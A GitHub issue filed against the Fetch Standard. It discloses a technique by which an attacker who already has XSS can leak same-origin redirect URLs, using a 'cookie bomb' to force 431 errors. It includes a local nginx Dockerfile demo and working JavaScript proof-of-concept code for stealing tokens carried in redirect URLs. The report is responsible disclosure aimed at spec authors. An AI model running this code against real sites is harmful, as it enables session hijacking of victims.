-
Notifications
You must be signed in to change notification settings - Fork 377
Description
What is the issue with the Fetch Standard?
Background
Atomic HTTP redirect handling states:
Redirects [...] are not exposed to APIs. Exposing redirects might leak information not otherwise available through a cross-site scripting attack.
Spec author @annevk has stated under this issue tracker:
Basically, the value of a
Locationheader can [be] about as sensitive as an HttpOnly cookie.
This means that in the following redirect chain:
A -> B -> C -> D
the request URLs of B and C should not be readable with JavaScript (same-origin scenario).
Problem
Note that the final URL D is readable:
Response.urlfor fetch ("The value of the url property will be the final URL obtained after any redirects")XMLHttpRequest.responseURLfor XHR ("The value of responseURL will be the final URL obtained after any redirects")
By abusing server-side errors and thus breaking the chain, link by link (making B the final request, then C, ...), the entire same-origin redirect chain can be leaked.
How could an attacker in an XSS scenario trigger (temporary) server-side errors? The most foolproof method seems to be repeatedly writing (and removing) a "cookie bomb": writing a few big cookies to the browser's cookie store just after making the initial request so that the Cookie request header size in the next, redirected "intermediary" request, will exceed server's / proxy's limits, thus not triggering another redirection, with the server returning a 431 Request Header Fields Too Large error instead. This does not need any special preconditions from the browser's or server's part, AFAICS.
Before:
---
config:
noteAlign: left
showSequenceNumbers: true
---
sequenceDiagram
participant B as Victim's browser
participant S as Server /<br>reverse proxy
B-->B: Attacker has "XSS",<br>can execute arbitrary JS<br>on target origin during victim visit,<br>but can't read HttpOnly session cookie.<br>Initiates a request
note right of B: GET /refreshToken<br>Cookie: httpOnlySID=abc#160;#160;#160;
B->>S:
note left of S: 302 Found<br>Location: /secret?token=123
S->>B:
critical
note right of B: GET /secret?token=123<br>Cookie: httpOnlySID=abc
B->>S:
note left of S: 302 Found<br>Location: /<br>Set-Cookie: httpOnlySID=def#59; HttpOnly
S->>B:
end
B-->B: Intermediary redirect happened,<br>attacker can't read the secret URL that<br>was exchanged for a session cookie.<br>Has to wait until redirects done
note right of B: GET /<br>Cookie: httpOnlySID=def
B->>S:
note left of S: 200 OK
S->>B:
B-->B: Attacker can only read final request URL<br>after any redirects.<br>If browser tab closed, attacker access gone
After:
---
config:
noteAlign: "left"
showSequenceNumbers: true
---
sequenceDiagram
participant B as Victim's browser
participant S as Server /<br>reverse proxy
B-->B: Attacker has "XSS",<br>can execute arbitrary JS<br>on target origin during victim visit,<br>but can't read HttpOnly session cookie.<br>Initiates a request
note right of B: GET /refreshToken<br>Cookie: httpOnlySID=abc#160;#160;#160;
B->>S:
B-->B: 💣️Attacker writes a "cookie bomb" with JS:<br>enough large cookies to<br>trigger a server-side error.<br>New cookies get attached to the next request
note left of S: 302 Found<br>Location: /secret?token=123
S->>B:
note right of B: GET /secret?token=123<br>Cookie: httpOnlySID=abc#59; 1=AA[...]AA#59; 2=AA[...]AA#59; ...
B->>S:
note left of S: 431 Request Header Fields Too Large
S->>B:
B-->B: Redirect chain broken, attacker can read the final (secret) request URL.<br>Attacker exfils token from URL, exchanges it for a session cookie on their device<br>and gets a more persistent session takeover.
Other techniques with more preconditions could include:
- if user input is included in the "intermediary" secret URL, it could trigger
414 URI Too Long(documented in this real life case by Rafael Castilho, which inspired me to generalize this issue) - in case of a WAF, writing some payload to a cookie that the WAF blocks (e.g., some typical SQL injection string) and returns
403 Forbiddenor similar, thus again breaking the redirect chain - affecting the server/proxy (maybe even out of bounds) so it is unavailable for a moment and returns
503 Service Unavailable(would need precise timing, maybe doable with browser connection pool filling shenanigans from the browser side + attacker DoS-ing the server, or even just sheer luck -- is the server being 100% of the time up a realistic security guarantee?)
...
AFAICS, to leak intermediary cross-origin redirects with this idea, each cross-origin request would need to have Access-Control-Allow-Origin: * header set in its response (even error response), and the attacker would need to be able to affect the server to err out with any technique (abusing cookies should be utilizable in cross-origin, same-site scope with the Domain attribute).
Proof of concept
# Dockerfile
FROM nginx:alpine
RUN cat << 'EOF' > /etc/nginx/nginx.conf
events {}
http {
server {
listen 80;
server_name localhost;
location = / {
return 200 'Hello World!';
add_header Content-Type text/plain;
}
# Redirect chain
absolute_redirect off;
location = /redir1 {
return 302 /redir2?secretA;
}
location = /redir2 {
return 302 /redir3?secretB;
}
location = /redir3 {
return 302 /redir4?secretC;
}
location = /redir4 {
return 302 /;
}
}
}
EOF
EXPOSE 80// Attacker's code
async function setCookieBomb() {
for (let i = 1; i <= 10; i++) {
await cookieStore.set({
name: i,
value: "A".repeat(4000),
path: "/"
});
}
}
async function unsetCookieBomb() {
for (let i = 1; i <= 10; i++) {
await cookieStore.delete({
name: i,
path: "/"
});
}
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function f(startURL) {
const urls = [];
let url = startURL;
while (true) {
// Unset the cookie bomb and give the browser time to really clear cookies up
// so they won't interrupt the upcoming initial request
await unsetCookieBomb();
await sleep(200);
console.info(`Fetching: ${url}`);
// Start request in background,
// set cookie bomb to target potential redirect (next request)
const resPromise = fetch(url);
// The first req may likely get a cookie or two; use some sleep to avoid that
// (but not that much sleep that the cookie won't affect the redirect; depends
// on networking conditions (real vs localhost), may need changing)
await sleep(1);
await setCookieBomb();
let res;
try {
res = await resPromise;
} catch (e) {
console.error(e);
console.warn("Retrying");
// Retry same URL (continue loop)
continue;
}
urls.push(url);
if (res.redirected) {
console.log("Redirect made, continue down the chain");
// Follow redirect by updating URL, continue loop
url = res.url;
continue;
}
// Exit condition: request succeeded, no redirect
await unsetCookieBomb();
break;
}
return urls;
}
console.log(await f("http://localhost:8080/redir1"));- Build and run the server
docker build -t redirect-leak-demo .
docker run --rm -p 8080:80 redirect-leak-demo- Open browser, go to http://localhost:8080/, open devtools Console tab and run the above JS code, simulating an XSS attack (successfully tested with Chrome & Firefox)
- Observe the entire redirect chain being leaked and logged to the console
Note: the technique can be a bit flaky/non-deterministic on localhost, since the requests and responses are exchanged so fast that the browser doesn't have the time to write enough cookies to trigger the server side error for the next request. This can be adjusted by simulating realistic networking conditions under the devtools Network tab, or writing enough cookies beforehand to be just under the limit (depending on the server) so writing one cookie is enough.
Solution?
Seems Working As Intended™. Fixes that currently come to my head seem to break backward-compatibility one way or the other.
The standard could clarify that "atomic HTTP redirect handling" is not a security boundary against an attacker who has achieved JavaScript execution in victim's browser on the target origin, aka XSS.
Related issues: